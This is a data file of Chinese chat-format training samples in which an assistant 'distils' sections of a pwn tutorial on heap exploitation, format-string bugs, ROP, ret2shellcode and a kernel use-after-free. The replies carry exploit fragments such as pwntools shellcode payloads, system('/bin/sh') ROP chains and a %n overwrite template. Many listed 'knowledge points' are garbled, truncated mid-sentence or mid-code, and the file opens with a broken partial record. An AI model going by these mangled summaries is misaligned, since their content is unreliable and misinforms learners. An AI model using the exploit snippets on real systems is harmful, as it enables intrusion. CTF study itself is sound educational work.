- stackoverflow
- code:bash

代码/命令片段线索：
- bash: 8 行，首行 `jarvisOJ_typo [master●●] check ./typo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定保护

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:bash

Arm ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「后向合并-合并低地址 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`
标题：释放内存块
章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 后向合并-合并低地址 chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“后向合并-合并低地址 chunk”展开。
- prev_inuse(p)) { prevsize = prev_size(p);
- p = chunk_at_offset(p, -((long) prevsize));
- ``c++ / consolidate backward / if (!
- unlink(av, p, bck, fwd);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 7 行，首行 `/* consolidate backward */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

后向合并-合并低地址 chunk

释放内存块
_int_free
合并非 mmap 的空闲 chunk
后向合并-合并低地址 chunk

释放内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「泄露栈内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 泄露内存 > 泄露栈内存
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“泄露栈内存”展开。
- 例如，给定如下程序 ``C #include <stdio.h> int main() { char s[100];
- 根据C语言的调用规则，格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数(64位会根据其传参的规则进行获取)。
- } ` 然后，我们简单编译一下 `shell ➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c leakmemory.c: In function ‘main’: leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security] printf(s);
- ^ `` 可以看出，编译器指出了我们的程序中没有给出格式化字符串的参数的问题。
- printf("%08x.%08x.%08x.%s\n", a, b, c, s);

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:c
- code:shell

代码/命令片段线索：
- C: 9 行，首行 `#include <stdio.h>`
- shell: 5 行，首行 `➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

泄露栈内存

利用 泄露内存 泄露栈内存

栈 AI安全 漏洞利用 pwn linux user-mode fmtstr code:c code:shell

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get heap addr and ebp addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > get heap addr and ebp addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get heap addr and ebp addr”展开。
- payload = flat([ system_addr, 'bbbb', binsh_addr, '%6$p%11$pcccc', ]) createcontact('2222', '2222', '222', payload) printcontact() sh.recvuntil('Description: ') data = sh.recvuntil('cccc', drop=True) data = data.split('0x') print data ebp_addr = int(data[1]...

关键术语：
- 堆
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get heap addr and ebp addr

堆 ROP/JOP 漏洞利用 pwn linux user-mode fmtstr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`
标题：kernel UAF
章节：kernel UAF > 例题：CISCN2017 - babydriver > 分析
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析”展开。
- `C // local variable allocation has failed, the output may be wrong!
- 用 IDA 打开分析，既然没有去除符号表，shift + F9 先看一下有什么结构体，可以发现如下的结构体： `asm 00000000 babydevice_t struc ;
- 00000010 babydevice_t ends 00000010 ` 再看一下主要函数 babyioctl: 定义了 0x10001 的命令，可以释放全局变量 babydev\_struct 中的 device\_buf，再根据用户传递的 size 重新申请一块内存，并设置 device\_buf\_len。
- `bash core [master●] cp ./lib/modules/4.4.72/babydriver.ko .. core [master●] cd ..
- (sizeof=0x10, align=0x8, copyof_429) 00000000 ;

关键术语：
- UAF
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:bash
- code:asm
- code:c

代码/命令片段线索：
- bash: 48 行，首行 `CISCN2017_babydriver [master●] mkdir core`
- bash: 10 行，首行 `core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..`
- asm: 8 行，首行 `00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429)`
- C: 20 行，首行 `// local variable allocation has failed, the output may be wrong!`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析

UAF 堆 栈 AI安全 漏洞利用 pwn linux kernel-mode exploitation code:bash code:asm code:c

kernel UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]”展开。
- => 0x246 [ cf PF af ZF sf IF df of ac ] 0x401293 <main+125> ✔ jns main+149 <main+149> ↓ 0x4012ab <main+149> lea rax, [rip + 0xd66] RAX => 0x402018 ◂— 'No system for you this time !
- ' 0x4012b2 <main+156> mov rdi, rax RDI => 0x402018 ◂— 'No system for you this time !
- /usr/bin/env python3 from pwn import * context.binary = './ret2shellcode' context.log_level = 'debug' io = process('./ret2shellcode') buf2_addr = 0x4040a0 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(100, b'\x90') payload = payload.ljust(120,...

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `这里也是一样通过 vmmap，我们可以看到 bss 段对应的段具有可执行权限：`
- plain: 2 行，首行 `思路和上一个例子是相同的`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]

边界/溢出 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：get shell > 2017 insomni'hack wheelofrobots > 利用思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 基本利用思路如下 1. 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138，进而可以控制 destructor_size 的大小，从而实现任意长度堆溢出。
- 借助上面可以任意长度堆溢出的漏洞，对 destructor 对应的 chunk 进行溢出，将其溢出到下一个物理相邻的 chunk，从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果，这时 bss 段的 destructor 指向 0x6030D0。
- 通过上述的漏洞将已经分配的轮子1 tinny 指针覆盖为 destructor 的地址，那么此后编辑 tinny 即在编辑 destructor 的内容，进而当我们再次编辑 destructor 时就相当于任意低地址写。
- 其实，既然我们有了任意地址写的漏洞，我们也可以将某个 got 写为 puts 的 plt 地址，进而调用相应函数时便可以直接将相应内容输出。
- 4. 由于程序只是在最后启动机器人的时候，才会随机输出一些轮子的内容，并且一旦输出，程序就会退出，由于这部分我们并不能控制，所以我们将 exit() patch 为一个 ret 地址。
- 5. 在泄漏了相应的内容后，我们便可以得到 libc 基地址，system 地址，libc中的 /bin/sh 地址。

关键术语：
- 边界/溢出
- 堆
- ROP/JOP
- AI安全
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 128 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用思路

get shell
2017 insomni'hack wheelofrobots
利用思路

边界/溢出 堆 ROP/JOP AI安全 修复/缓解 漏洞利用 pwn linux user-mode heap code:python

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`
标题：Use After Free
章节：Use After Free > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 而我们一般所指的 Use After Free 漏洞主要是后两种。
- 简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。
- 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
- 这里给出一个简单的例子 ``c++ #include <stdio.h> #include <stdlib.h> typedef struct name { char myname;
- void myprint(char str) { printf("%s\n", str);

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c++
- code:shell

代码/命令片段线索：
- c++: 25 行，首行 `#include <stdio.h>`
- shell: 6 行，首行 `➜ use_after_free git:(use_after_free) ✗ ./use_after_free`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

UAF 堆 AI安全 漏洞利用 pwn linux user-mode heap code:c++ code:shell

Use After Free


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「文件信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：花式栈溢出技巧 > frame faking > 2018 安恒杯 over > 文件信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“文件信息”展开。
- ``bash over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99beb778a74c68e4ce1477b559391e860dd0e946, stripped [*] '/home/m4x/pwn_repo/others_over/ov...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow
- code:bash

代码/命令片段线索：
- bash: 7 行，首行 `over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-6...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

文件信息

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow code:bash

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「二进制翻译」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`
标题：CPU 虚拟化
章节：CPU 虚拟化 > 纯软件实现 CPU 虚拟化 > 二进制翻译
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“二进制翻译”展开。
- 文件: ./figure/binary-code-translation.png] > 我们可以看出二进制代码翻译技术与扫描修补技术的原理大体上是非常类似的，但是二进制代码翻译技术会对所有的代码进行翻译，而扫描与修补技术则只会 patch 掉敏感指令与特权指令；
- 对于简单的特权指令可以直接翻译为类似的等值代码（例如 cli 指令可以直接翻译为置 vcpu 的 flags 寄存器的 IF 位为0），但对于稍微复杂一点的指令，则需要进行深度模拟，利用跳转指令陷入 VMM 中，这通常会造成一定的性能开销。
- 翻译方法大致分为以下两种： - 简单翻译：可以直接理解为等效代码模拟，这种方法实现较为简单，但是会让指令数量大幅膨胀。
- 理论上大多数指令都可以使用等值翻译直接在硬件上执行，但这需要更复杂的动态分析技术。
- 在相同 ISA 架构上大部分指令都是可以直接进行等值翻译的，除了以下几种： - PC 相对寻址指令。

关键术语：
- 修复/缓解
- 漏洞利用
- pwn
- virtualization
- basic-knowledge
- cpu-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

二进制翻译

CPU 虚拟化
纯软件实现 CPU 虚拟化
二进制翻译

修复/缓解 漏洞利用 pwn virtualization basic-knowledge cpu-virtualization.md

CPU 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：花式栈溢出技巧 > stack pivoting > 题目
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“题目”展开。
- EkoPartyCTF 2016 fuckzing-exploit-200

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`
标题：House Of Force
章节：-- coding: utf-8 --
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“-- coding: utf-8 --”展开。
- r = process('./bamboobox') context.log_level = 'debug'
- def additem(length, name): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name)
- def modify(idx, length, name): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name)
- def remove(idx): r.recvuntil(":") r.sendline("4") r.recvuntil(":") r.sendline(str(idx))
- def show(): r.recvuntil(":") r.sendline("1")

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

-- coding: utf-8 --

House Of Force


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：get shell > 2017 insomni'hack wheelofrobots > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- ``shell ➜ 2017_insomni'hack_wheelofrobots git:(master) file wheelofrobots wheelofrobots: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc...

关键术语：
- 堆
- 栈
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `➜ 2017_insomni'hack_wheelofrobots git:(master) file wheelofrobots`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

get shell
2017 insomni'hack wheelofrobots
基本信息

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「基本工作方式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：define TCACHE_MAX_BINS 64 > 基本工作方式
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本工作方式”展开。
- 第一次 malloc 时，会先 malloc 一块内存用来存放 tcache_perthread_struct 。
- 因此 chunk 在 bin 中和 tcache 中的顺序会反过来

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本工作方式

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「寻找危险函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`
标题：栈溢出原理
章节：栈溢出原理 > 小总结 > 寻找危险函数
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 通过寻找危险函数，我们快速确定程序是否可能有栈溢出，以及有的话，栈溢出的位置在哪里。
- 常见的危险函数如下 - 输入 - gets，直接读取一行，忽略'\x00' - scanf - vscanf - 输出 - sprintf - 字符串 - strcpy，字符串复制，遇到'\x00'停止 - strcat，字符串拼接，遇到'\x00'停止 - bcopy

关键术语：
- 边界/溢出
- 栈
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寻找危险函数

栈溢出原理 小总结 寻找危险函数

边界/溢出 栈 pwn linux user-mode stackoverflow

栈溢出原理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > 64位程序格式化字符串漏洞 > 例子 > 确定偏移
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定偏移”展开。
- 当然，我们还有更简单的方法利用 https://github.com/scwuaptx/Pwngdb 中的 fmtarg 来判断某个参数的偏移。
- ) ──────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff7a62800 → Name: __printf(format=0x602830 "123456") [#1] 0x400890 → Name: main() ───────────────────────────────────────────────────────────────────────...
- 我们在 printf 处下偏移如下,这里只关注代码部分与栈部分。
- `shell gef➤ fmtarg 0x00007fffffffdb28 The index of format argument : 10 `` 需要注意的是我们必须 break 在 printf 处。
- 而 fmt 字符串中 %order$s 对应的 order 为 fmt 字符串后面的参数的顺序，所以我们只需要输入 %9$s 即可得到 flag 的内容。

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:shell

代码/命令片段线索：
- shell: 32 行，首行 `gef➤ b printf`
- shell: 2 行，首行 `gef➤ fmtarg 0x00007fffffffdb28`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定偏移

例子 64位程序格式化字符串漏洞 例子 确定偏移

栈 AI安全 漏洞利用 pwn linux user-mode fmtstr code:shell

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：Unsorted Bin Attack > HITCON Training lab14 magic heap > 基本功能
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本功能”展开。
- 根据指定的索引判断对应堆是不是非空，如果非空，就根据用户读入的大小，来修改堆的内容，这里其实就出现了任意长度堆溢出的漏洞。
- 程序大概就是自己写的堆管理器，主要有以下功能 1. 创建堆。
- 根据用户指定大小申请相应堆，并且读入指定长度的内容，但是并没有设置 NULL。
- 根据指定的索引判断对应堆是不是非空，如果非空，就将对应堆释放并置为 NULL。
- 同时，我们看到，当我们控制 v3 为 4869，同时控制 magic 大于 4869，就可以得到 flag 了。

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本功能

Unsorted Bin Attack
HITCON Training lab14 magic heap
基本功能

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「覆盖内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 覆盖内存
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“覆盖内存”展开。
- ` 通过这个类型参数，再加上一些小技巧，我们就可以达到我们的目的，这里仍然分为两部分，一部分为覆盖栈上的变量，第二部分为覆盖指定地址的变量。
- 上面，我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存，那么我们有没有可能修改栈上变量的值呢，甚至修改任意地址变量的内存呢?
- 答案是可行的，只要变量对应的地址可写，我们就可以利用格式化字符串来修改其对应的数值。
- ` c / example/overflow/overflow.c / #include <stdio.h> int a = 123, b = 456;
- 而无论是覆盖哪个地址的变量，我们基本上都是构造类似如下的payload `text ...[overwrite addr]....%[overwrite offset]$n `` 其中...表示我们的填充内容，overwrite addr 表示我们所要覆盖的地址，overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。

关键术语：
- 边界/溢出
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

代码/命令片段线索：
- plain: 1 行，首行 `%n,不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。`
- plain: 1 行，首行 `makefile在对应的文件夹中。而无论是覆盖哪个地址的变量，我们基本上都是构造类似如下的payload`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

覆盖内存

边界/溢出 栈 AI安全 漏洞利用 pwn linux user-mode fmtstr

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/cgc.md` 中的章节「CGC 超级挑战赛」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/cgc.md`
标题：CGC 超级挑战赛
章节：CGC 超级挑战赛
路径分类：introduction / introduction/cgc.md
分块：1/1

核心知识点：
- 本节主题围绕“CGC 超级挑战赛”展开。
- > 本节内容摘自李康教授于 2016 年 8 月 17 日 ISC 互联网安全大会演讲《网络超级挑战赛中的漏洞发掘与利用》。
- 其中包含 28 个堆溢出漏洞、24 个栈溢出漏洞、16 个空指针访问漏洞、13 个整数溢出漏洞和 8 个 UAF 漏洞。
- 攻防过程由组织方发出挑战程序，各团队服务器可以向组织方提供补丁程序，防火墙规则和攻击程序。
- 考验机器自动漏洞挖掘、自动软件加固、自动漏洞利用和自动网络防护水平。
- 组织方为每个团队运行挑战程序，进行服务测试和攻击并进行评估。

关键术语：
- UAF
- 边界/溢出
- 堆
- 栈
- 修复/缓解
- 漏洞利用
- cgc.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

CGC 超级挑战赛

UAF 边界/溢出 堆 栈 修复/缓解 漏洞利用 cgc.md

CGC 超级挑战赛


